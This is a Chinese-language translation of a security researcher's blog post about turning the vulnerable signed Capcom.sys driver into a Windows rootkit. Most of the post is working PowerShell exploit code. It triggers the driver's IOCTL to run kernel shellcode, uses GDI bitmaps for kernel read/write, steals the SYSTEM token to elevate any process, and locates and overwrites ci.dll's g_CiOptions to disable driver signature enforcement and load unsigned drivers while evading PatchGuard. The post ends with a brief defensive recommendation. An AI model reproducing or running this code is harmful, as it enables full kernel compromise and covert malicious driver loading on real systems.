最近看了一篇关于恶意软件Derusbi分析的文章,该文章的技术亮点就是利用已签名驱动的漏洞来加载未签名驱动。文中利用CVE-2013-3956漏洞来翻转驱动签名的效验位,这样恶意软件就可以随意加载其他驱动,然后Derusbi加载了NDIS驱动程序,这样就可以进行流量嗅探(我没有研究具体细节)。
然而出于好奇,我觉得实现相同功能的POC将会非常困难(事实证明并非如此)。为了完全实现上述漏洞利用技术,我决定利用@TheWack0lian于2016年9月23日公布的签名驱动程序Capcom.sys中的漏洞来实现这一技术。好了,不再罗嗦了,直接操刀实战。
本文目的并非进行驱动漏洞分析,强烈建议先去看看如下@TheColonial 针对Capcom.sys驱动的攻击分析视频,这样会对该驱动的漏洞机理有一个清晰的认识,能在大脑里形成一个漏洞攻击利用过程的画面,将有助于对本文的理解。
基本上,就是把执行ring0 代码作为一个服务!它唯一的功能就是获取用户地址指针,然后禁用SMEP,然后在用户指针地址处执行代码,然后再恢复SMEP。该驱动漏洞利用过程的反汇编代码如下:
如下Power Shell POC实现了这个驱动漏洞的利用过程:
\# => cmp [rax-8], rcx
echo "`n[>] Allocating Capcom payload.."
[IntPtr]$Pointer = [CapCom]::VirtualAlloc([System.IntPtr]::Zero, (8 + $Shellcode.Length), 0x3000, 0x40)
$ExploitBuffer = [System.BitConverter]::GetBytes($Pointer.ToInt64()+8) + $Shellcode
[System.Runtime.InteropServices.Marshal]::Copy($ExploitBuffer, 0, $Pointer, (8 + $Shellcode.Length))
echo "[+] Payload size: $(8 + $Shellcode.Length)"
echo "[+] Payload address: $("{0:X}" -f $Pointer.ToInt64())"
$hDevice = [CapCom]::CreateFile("\\.\Htsysm72FB", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\Htsysm72FB"
echo "[+] Handle: $hDevice"
}
\# IOCTL = 0xAA013044
\#---
$InBuff = [System.BitConverter]::GetBytes($Pointer.ToInt64()+8)
$OutBuff = 0x1234
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($InBuff.Length)"
echo "[+] IOCTL: 0xAA013044"
[CapCom]::DeviceIoControl($hDevice, 0xAA013044, $InBuff, $InBuff.Length, [ref]$OutBuff, 4, [ref]0, [System.IntPtr]::Zero) |Out-null
有了执行Shellcode的能力后,我选择构造一个原始GDI位图结构,它可以使我能够持续地读写内核,而不用重复地加载驱动。我通过 Stage-gSharedInfoBitmap 来创建位图,并以下列方式设置Shellcode:
\# Leak BitMap pointers
echo "`n[>] gSharedInfo bitmap leak.."
$Manager = Stage-gSharedInfoBitmap
$Worker = Stage-gSharedInfoBitmap
echo "[+] Manager bitmap Kernel address: 0x$("{0:X16}" -f $($Manager.BitmapKernelObj))"
echo "[+] Worker bitmap Kernel address: 0x$("{0:X16}" -f $($Worker.BitmapKernelObj))"
\# Shellcode buffer
[Byte[]] $Shellcode = @(
0x48, 0xB8) + [System.BitConverter]::GetBytes($Manager.BitmappvScan0) + @( # mov rax,$Manager.BitmappvScan0
0x48, 0xB9) + [System.BitConverter]::GetBytes($Worker.BitmappvScan0) + @( # mov rcx,$Manager.BitmappvScan0
0x48,0x89,0x08, # mov qword ptr [rax],rcx
0xC3 # ret
)
想进一步了解该技术的实现细节,可以参考我之前以ID@mwrlabs发表的文章 A Tale Of Bitmaps: Leaking GDI Objects Post Windows 10 Anniversary Edition以及《我的WINDOWS 攻击之旅》系列的第17篇。
有了对内核的读写能力之后,我们就可以开始实现我们的Rootkit的功能了。对此,我决定专注于实现以下两个不同功能:
(1)将任意PID提升为SYSTEM;
(2)在运行时禁用驱动程序签名保护,将非签名代码加载到内核中。
一般来说,我们需要遍历EPROCESS结构的链表,然后复制SYSTEM EPROCESS令牌字段,并使用此值覆盖掉目标EPROCESS结构的令牌字段。在没有其他更好的漏洞利用的情况下,我们只有通过用户空间来泄露 System (PID 4) EPROCESS 结构的指针:
需要注意的是,从WIN8.1之后需要具有普通权限,才可以通过“SystemModuleInformation”来泄漏当前加载的NT内核的基址。我们可以在PowerShell中使用Get-LoadedModules轻松实现此过程,并在KD中验证我们的结果。
非常棒,现在我们找到了一个方法来获得System EPROCESS 结构指针,同时我们可以通过构造的位图结构来读取SYSTEM token 。最后需要做的就是根据 "ActiveProcessLinks" 链来找到我们需要提升权限的进程的 EPROCESS结构。在x64 Win10平台,此链表结构如下:
该链表是一个双向循环链表,那么我们可以通过读取EPROCESS 结构,然后判断PID是否为目标进程,如果是则覆盖该进程Token,否则继续遍历直到获得目标进程的EPROCESS 结构。
EPROCESS 结构是非公开的,并且在不同的WIN操作系统上也不相同,但是我们可以通过维护一个静态的偏移列表来解决这个问题。在此强烈建议看一下由@rwfpl维护的一个工程 Terminus Project。下面的powershell函数实现了这个令牌窃取逻辑。
function Capcom-ElevatePID {
param ([Int]$ProcPID)
# Check our bitmaps have been staged into memory
if (!$ManagerBitmap -Or !$WorkerBitmap) {
Capcom-StageGDI
if ($DriverNotLoaded -eq $true) {
Return
}
}
# Defaults to elevating Powershell
if (!$ProcPID) {
$ProcPID = $PID
}
# Make sure the pid exists!
# 0 is also invalid but will default to $PID
$IsValidProc = ((Get-Process).Id).Contains($ProcPID)
if (!$IsValidProc) {
Write-Output "`n[!] Invalid process specified!`n"
Return
}
# _EPROCESS UniqueProcessId/Token/ActiveProcessLinks offsets based on OS
# WARNING offsets are invalid for Pre-RTM images!
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
switch ($OSMajorMinor)
{
'10.0' # Win10 / 2k16
{
$UniqueProcessIdOffset = 0x2e8
$TokenOffset = 0x358
$ActiveProcessLinks = 0x2f0
}
'6.3' # Win8.1 / 2k12R2
{
$UniqueProcessIdOffset = 0x2e0
$TokenOffset = 0x348
$ActiveProcessLinks = 0x2e8
}
'6.2' # Win8 / 2k12
{
$UniqueProcessIdOffset = 0x2e0
$TokenOffset = 0x348
$ActiveProcessLinks = 0x2e8
}
'6.1' # Win7 / 2k8R2
{
$UniqueProcessIdOffset = 0x180
$TokenOffset = 0x208
$ActiveProcessLinks = 0x188
}
}
# Get EPROCESS entry for System process
$SystemModuleArray = Get-LoadedModules
$KernelBase = $SystemModuleArray[0].ImageBase
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
$KernelHanle = [Capcom]::LoadLibrary("$KernelType")
$PsInitialSystemProcess = [Capcom]::GetProcAddress($KernelHanle, "PsInitialSystemProcess")
$SysEprocessPtr = $PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase
$CallResult = [Capcom]::FreeLibrary($KernelHanle)
$SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr
$SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)
Write-Output "`n[+] SYSTEM Token: 0x$("{0:X}" -f $SysToken)"
# Get EPROCESS entry for PID
$NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
while($true) {
$NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset)
if ($NextPID -eq $ProcPID) {
$TargetTokenAddr = $NextProcess+$TokenOffset
Write-Output "[+] Found PID: $NextPID"
Write-Output "[+] PID token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))"
break
}
$NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
}
# Duplicate token!
Write-Output "[!] Duplicating SYSTEM token!`n"
Bitmap-Write -Address $TargetTokenAddr -Value $SysToken
}
作为本文的参考文章,建议去读一下由 @j00ru写的关于驱动强制签名的文章。文章指出WINDOWS平台下的代码效验,是通过一个二进制文件ci.dll (=> %WINDIR%\System32)来管理的。在Windows 8之前,CI导出一个全局布尔变量g_CiEnabled,它很明显的指明签名是启用还是禁用。在Windows 8+中,g_CiEnabled被另一个全局变量g_CiOptions替换,g_CiOptions是标志的组合( 0x0=disabled, 0x6=enabled, 0x8=Test Mode)。
时间原因,该模块仅通过g_CiOptions来修改代码效验标志,因此只适用Windows 8+。不过类似的方法也适用g_CiEnabled(可以在gihub自行搜索)。基本上,我们将使用和恶意软件Derusbi 一样的技术来绕过签名保护。因为g_CiOptions这个变量并没有被导出,因此我们在pach的时候需要进行一些动态计算。通过反编译 CI!CiInitialize,我们发现它泄露了,一个指向g_CiOptions的指针。
类似地,我们可以不借助任何漏洞,通过用户空间来泄露 CI!CiInitialize的地址。
至此,剩下的就是实现一些指令搜索逻辑,来读取g_CiOptions的值了。首先我们找到第一个jmp(0xe9)指令,然后再找到第一个"mov dword prt[xxxxx], ecx" (0x890D)指令,就可以得到g_CiOptions的地址。这样我们就可以把g_CiOptions的值改成任何我们想要的值了。实现这一搜索逻辑的powershell 函数如下:
function Capcom-DriverSigning {
param ([Int]$SetValue)
# Check our bitmaps have been staged into memory
if (!$ManagerBitmap -Or !$WorkerBitmap) {
Capcom-StageGDI
if ($DriverNotLoaded -eq $true) {
Return
}
}
# Leak CI base => $SystemModuleCI.ImageBase
$SystemModuleCI = Get-LoadedModules |Where-Object {$_.ImageName -Like "*CI.dll"}
# We need DONT_RESOLVE_DLL_REFERENCES for CI LoadLibraryEx
$CIHanle = [Capcom]::LoadLibraryEx("ci.dll", [IntPtr]::Zero, 0x1)
$CiInitialize = [Capcom]::GetProcAddress($CIHanle, "CiInitialize")
# Calculate => CI!CiInitialize
$CiInitializePtr = $CiInitialize.ToInt64() - $CIHanle + $SystemModuleCI.ImageBase
Write-Output "`n[+] CI!CiInitialize: $('{0:X}' -f $CiInitializePtr)"
# Free CI handle
$CallResult = [Capcom]::FreeLibrary($CIHanle)
# Calculate => CipInitialize
# jmp CI!CipInitialize
for ($i=0;$i -lt 500;$i++) {
$val = ("{0:X}" -f $(Bitmap-Read -Address $($CiInitializePtr + $i))) -split '(..)' | ? { $_ }
# Look for the first jmp instruction
if ($val[-1] -eq "E9") {
$Distance = [Int]"0x$(($val[-3,-2]) -join '')"
$CipInitialize = $Distance + 5 + $CiInitializePtr + $i
Write-Output "[+] CI!CipInitialize: $('{0:X}' -f $CipInitialize)"
break
}
}
# Calculate => g_CiOptions
# mov dword ptr [CI!g_CiOptions],ecx
for ($i=0;$i -lt 500;$i++) {
$val = ("{0:X}" -f $(Bitmap-Read -Address $($CipInitialize + $i))) -split '(..)' | ? { $_ }
# Look for the first jmp instruction
if ($val[-1] -eq "89" -And $val[-2] -eq "0D") {
$Distance = [Int]"0x$(($val[-6..-3]) -join '')"
$g_CiOptions = $Distance + 6 + $CipInitialize + $i
Write-Output "[+] CI!g_CiOptions: $('{0:X}' -f $g_CiOptions)"
break
}
}
# print g_CiOptions
Write-Output "[+] Current CiOptions Value: $('{0:X}' -f $(Bitmap-Read -Address $g_CiOptions))`n"
if ($SetValue) {
Bitmap-Write -Address $g_CiOptions -Value $SetValue
# print new g_CiOptions
Write-Output "[!] New CiOptions Value: $('{0:X}' -f $(Bitmap-Read -Address $g_CiOptions))`n"
}
}
下面的屏幕截图显示当前g_CiOptions valus是0x6(启用),我们加载“evil.sys”时被阻止。
覆盖该值后,未签名驱动被顺利加载:
稍微有趣的是 g_CiOptions 受 PatchGuard保护,一旦它发现 g_CiOptions 被更改,就会蓝屏 (=> CRITICAL_STRUCTURE_CORRUPTION) 。然而实际上并不会蓝屏,修改了 g_CiOptions 后PatchGuard并不会马上检测到,如果加载了未签名驱动后,再马上恢复 g_CiOptions, PatchGuard就无能为力了。我的深度防御建议是在加载驱动时触发PatchGuard 对CI的检查,不过这并不能完全阻止攻击者对加载非法驱动的探索,只是它会提高这一利用过程的难度等级。
我相信本文的案例足以证明第三方签名驱动会对WINDOWS 内核构成严重威胁。同时我发现,进行简单的内核破坏比预期更加容易,特别是与PatchGuard延时配合的时候。总之,我觉得最明智的做法是针对驱动白名单部署设备保护,从而从根本上消除这种类型的攻击。
出于学习和测试的目的,我把 Capcom-Rootkit 放到了github上,Don't be a jackass!
参考资料:
+ Capcom-Rootkit (@FuzzySec) - here
+ Windows driver signing bypass by Derusbi - here
+ A quick insight into the Driver Signature Enforcement (@j00ru) - here
+ Defeating x64 Driver Signature Enforcement (@hFireF0X) - here